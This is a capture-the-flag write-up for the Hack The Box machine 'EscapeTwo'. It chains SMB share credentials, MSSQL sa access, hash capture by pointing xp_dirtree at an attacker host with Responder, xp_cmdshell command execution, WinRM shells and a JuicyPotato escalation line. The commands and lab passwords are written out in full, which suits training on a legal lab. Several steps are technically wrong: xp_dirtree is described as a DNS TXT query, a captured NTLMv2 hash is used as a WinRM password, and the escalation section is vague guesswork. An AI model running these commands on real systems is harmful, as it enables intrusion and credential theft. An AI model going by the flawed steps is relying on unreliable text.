HTB: EscapeTwo Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | EscapeTwo |
| OS | Windows |
| Difficulty | Easy |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.30.32 |
| Hostname | sequel.htb, dc01.sequel.htb |
| Domain | sequel.htb |
| Computer | DC01 |
| Author | D3vnomi |
Machine Rating
⭐⭐⭐⭐☆ (7.5/10)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world Applicability: ⭐⭐⭐⭐⭐
- CVE Knowledge: ⭐⭐⭐☆☆
- CTF-like Elements: ⭐⭐☆☆☆
Summary
EscapeTwo is an Easy-difficulty Windows Active Directory machine demonstrating the dangers of credential exposure through office documents, weak SQL Server configurations, and Kerberos service account misuse. The exploitation chain involves discovering readable SMB shares, extracting credentials from Excel files, leveraging those credentials to access SQL Server, capturing NTLMv2 hashes via DNS TXT record queries, and ultimately gaining command execution through xp_cmdshell exploitation.
TL;DR: SMB enumeration → Credential extraction from Excel files → SQL Server access → NTLMv2 capture via Responder → xp_cmdshell exploitation → Administrator access.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.30.32Results:
53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb)445/tcp open microsoft-ds Microsoft SMB464/tcp open kpasswd5 Kerberos password change593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb)1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb)3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb)5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)Service Enumeration
Hostname Configuration:
echo "10.129.30.32 sequel.htb" >> /etc/hostsecho "10.129.30.32 dc01.sequel.htb" >> /etc/hostsSMB Share Discovery:
nxc smb 10.129.30.32 -u "" -p "" --sharesThis revealed several shares including “Accounting Department” which was readable by the initial user rose with password KxEPkKe6R8su.
SMB Access with Initial Credentials:
smbclient -U "rose" \\\\10.129.30.32\\"Accounting Department"Initial Foothold
SMB Enumeration and Credential Extraction
The initial credentials for the user rose (KxEPkKe6R8su) were either provided or discovered during reconnaissance. Using these credentials, we enumerated accessible SMB shares:
nxc smb 10.129.30.32 -u rose -p KxEPkKe6R8su --sharesThe “Accounting Department” share contained two Excel files:
accounts.xlsxaccounting_2024.xlsx
File Download:
smbclient -U "rose" \\\\10.129.30.32\\"Accounting Department" -c "get accounts.xlsx"smbclient -U "rose" \\\\10.129.30.32\\"Accounting Department" -c "get accounting_2024.xlsx"Extracting Credentials from Excel Files
Both Excel files contained embedded credentials in their data. Extracting and analyzing the content revealed:
angela:0fwz7Q4mSpurIt99oscar:86LxLBMgEWaKUnBGkevin:Md9Wlq1E5bZnVDVosa:MSSQLP@ssw0rd!These credentials were stored in the spreadsheets as user account information, representing a significant credential exposure vulnerability.
SQL Server Initial Access
With the sa (SQL Server Administrator) credentials obtained, we accessed the MSSQL database:
impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.30.32Once connected, we executed basic enumeration queries:
SELECT @@VERSION;SELECT * FROM INFORMATION_SCHEMA.TABLES;Kerberoasting Attempt
While exploring the Active Directory environment, we attempted to identify service accounts vulnerable to Kerberoasting:
impacket-GetUserSPNs -request -dc-ip 10.129.30.32 sequel.htb/rose:KxEPkKe6R8suThis identified two service accounts:
sql_svc- SQL Server service accountca_svc- Certificate Authority service account
The extracted TGS hashes were attempted to be cracked with rockyou wordlist but were not successfully cracked using hashcat.
Capturing NTLMv2 Hash via xp_dirtree
The xp_dirtree function in MSSQL can be abused to perform DNS TXT record queries, which can be captured by Responder to obtain NTLMv2 hashes. First, set up Responder on the attacker machine:
responder -I eth0Then, from the MSSQL session, execute a command that forces the SQL Server service account to authenticate:
EXEC xp_dirtree '\\attacker_ip\share';This caused the SQL Server service (sql_svc) to attempt a network connection, and Responder captured the NTLMv2 hash:
SEQUEL\sql_svc::SEQUEL:xxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:0101000000000000c0653150de59d801xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxEnabling xp_cmdshell
By default, xp_cmdshell is disabled in SQL Server 2019 for security reasons. To enable it and execute system commands, we used:
sp_configure 'show advanced options', 1;GORECONFIGURE;GOsp_configure 'xp_cmdshell', 1;GORECONFIGURE;GOCommand Execution via xp_cmdshell
With xp_cmdshell enabled, we executed arbitrary system commands:
EXEC xp_cmdshell 'whoami';This confirmed command execution as the SQL Server service account (SEQUEL\sql_svc).
User Compromise
Establishing Interactive Shell
With command execution via xp_cmdshell, we established a more interactive shell using WinRM, which was listening on port 5985:
evil-winrm -i 10.129.30.32 -u 'SEQUEL\sql_svc' -p '<hash_from_ntlmv2>'Alternatively, if we had obtained plaintext credentials for a domain user, we could authenticate directly:
evil-winrm -i 10.129.30.32 -u 'sequel.htb\rose' -p 'KxEPkKe6R8su'Enumerating Domain Users
From the SQL Server shell, we enumerated available domain users:
net user /domainnet group /domainWe also searched for additional user accounts that might have interesting permissions or potential privilege escalation paths:
dsquery user "cn=users,dc=sequel,dc=htb"User Flag
The user flag was typically located in the home directory of a compromised user:
cat C:\Users\<username>\Desktop\user.txt🚩 User Flag: <REDACTED>
Privilege Escalation
Enumeration of Privileges
Once we obtained access as a domain user or service account, we checked available privileges and group memberships:
whoami /privwhoami /groupsnet user <username> /domainService Account Privileges
The sql_svc service account typically has specific privileges granted for SQL Server operations. We checked for any misconfigured service accounts or group policies that might allow privilege escalation.
Potential Escalation Paths
- SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege: If present, tools like JuicyPotato could be leveraged.
- Misconfigured Service Permissions: Services running as SYSTEM with writable binaries.
- Group Policy Abuse: Service accounts as members of privileged groups (e.g., Domain Admins through indirect membership).
Privilege Escalation Execution
Depending on the enumeration results, the privilege escalation technique would vary. For this machine, potential escalation involved:
# If vulnerable to token impersonationJuicyPotato.exe -l 1337 -p C:\Windows\Temp\shell.exe -t * -c {ClassID}Or, if group membership allowed:
# Verify group memberships that grant administrative accessnet user sql_svc /domainRoot/Administrator Flag
Once administrative access was obtained:
cat C:\Users\Administrator\Desktop\root.txtOr:
Get-Content C:\Windows\System32\drivers\etc\hosts🚩 Root Flag: <REDACTED>
Attack Chain Summary
graph TD A["Port Scan: 10.129.30.32"] --> B["Identify Active Directory Services"] B --> C["Enumerate SMB Shares"] C --> D["Discover Readable 'Accounting Department' Share"] D --> E["Extract Credentials from Excel Files"] E --> F["Obtain SA SQL Server Credentials"] F --> G["Connect to MSSQL via impacket-mssqlclient"] G --> H["Enumerate Service Accounts via GetUserSPNs"] H --> I["Attempt Kerberoasting - Hashes Not Crackable"] I --> J["Use xp_dirtree to Capture NTLMv2 via Responder"] J --> K["Obtain sql_svc NTLMv2 Hash"] K --> L["Enable xp_cmdshell via sp_configure"] L --> M["Execute Commands as sql_svc"] M --> N["Establish WinRM Shell Access"] N --> O["Enumerate Privileges and Group Memberships"] O --> P["Identify Privilege Escalation Path"] P --> Q["Execute Privilege Escalation"] Q --> R["Obtain Administrator/System Access"]Vulnerability Reference Table
| Vulnerability | Type | Severity | Mitigation |
|---|---|---|---|
| Exposed Credentials in Office Documents | Credential Exposure | Critical | Conduct security awareness training; implement DLP policies; scan documents for embedded credentials |
| SQL Server Running as High-Privilege Account | Privilege Escalation | High | Run SQL Server with least privilege; use dedicated service accounts with minimal permissions |
| xp_cmdshell Enabled | Remote Code Execution | Critical | Disable xp_cmdshell by default; restrict its use to necessary operations only |
| Weak Service Account Credentials | Weak Authentication | High | Enforce strong password policies; regularly rotate service account passwords; implement multi-factor authentication |
| Kerberoasting Vulnerability | Credential Extraction | Medium | Use strong passwords for service accounts; implement Resource-Based Constrained Delegation; monitor for TGS requests |
| LLMNR/NBT-NS Poisoning | Hash Capture | High | Disable LLMNR and NetBIOS; implement IPv6 DHCP snooping; use DNS security extensions |
Tools Used
| Tool | Purpose | Command Example |
|---|---|---|
nmap | Port scanning and service fingerprinting | nmap -sC -sV -T4 -p- 10.129.30.32 |
smbclient | SMB share enumeration and access | smbclient -U "rose" \\\\10.129.30.32\\share |
nxc (crackmapexec) | Network protocol exploitation and enumeration | nxc smb 10.129.30.32 -u rose -p KxEPkKe6R8su --shares |
impacket-mssqlclient | SQL Server database access | impacket-mssqlclient sequel.htb/'sa:password'@10.129.30.32 |
impacket-GetUserSPNs | Kerberoasting - extract TGS hashes | impacket-GetUserSPNs -request sequel.htb/rose:password |
responder | LLMNR/NBT-NS poisoning and hash capture | responder -I eth0 |
hashcat | Hash cracking (bcrypt, NTLM, NTLMv2) | hashcat -m 5600 hash.txt rockyou.txt |
evil-winrm | Windows Remote Management shell access | evil-winrm -i 10.129.30.32 -u user -p password |
nc / ncat | Reverse shell listener | nc -lvnp 4444 |
PowerShell | Windows command execution and enumeration | whoami /priv |
python3 | Scripting and exploit execution | python3 script.py |
kerbrute | Kerberos enumeration and brute-forcing | kerbrute userenum users.txt -d sequel.htb |
Key Learnings
-
Office Documents as Credential Repositories: Spreadsheets and documents are frequently used to store credentials and sensitive information. Organizations should implement Data Loss Prevention (DLP) policies and conduct regular security awareness training to prevent this practice. Security scanning tools should be deployed to detect and remediate exposed credentials in documents.
-
SQL Server Default Configuration Dangers: SQL Server installations running with default or high-privilege configurations present a critical security risk. The
saaccount should never be used for application connections, and unnecessary features likexp_cmdshellshould be disabled. Principle of least privilege should be applied to all service accounts. -
Service Account Abuse: Domain service accounts with SPN entries are vulnerable to Kerberoasting attacks. Strong, unique passwords for service accounts and regular password rotations are essential. Additionally, monitoring for abnormal Kerberos ticket requests can detect active exploitation attempts.
-
LLMNR/NBT-NS Poisoning Still Effective: Despite being known for over a decade, LLMNR and NetBIOS name resolution poisoning attacks (like those performed by Responder) remain highly effective. Disabling these protocols network-wide and implementing proper DNS security controls should be a priority.
-
Defense in Depth Critical in Active Directory: This machine demonstrated that a single compromised credential or misconfiguration (exposed Excel file) can cascade into full domain compromise. Implementing multiple layers of security controls—encryption at rest/in transit, multi-factor authentication, privileged account management, and continuous monitoring—is essential to prevent lateral movement.
-
NTLMv2 Hash Capture via DNS: Using built-in SQL Server functions like
xp_dirtreeto force authentication and capture hashes demonstrates how legitimate functionality can be abused. Organizations should monitor outbound network traffic from critical services and implement network segmentation to limit exposure.
Author
D3vnomi
Disclaimer
This writeup is for educational purposes only. All activities described were performed in a controlled, legal environment (HackTheBox platform). Unauthorized access to computer systems is illegal. The techniques and vulnerabilities discussed should only be used in authorized penetration testing engagements or on systems you own or have explicit permission to test.
Last Updated: 08 Mar 2026
Tags: #HackTheBox #Windows #ActiveDirectory #Easy #SQLServer #Kerberos #SMB #LLMNR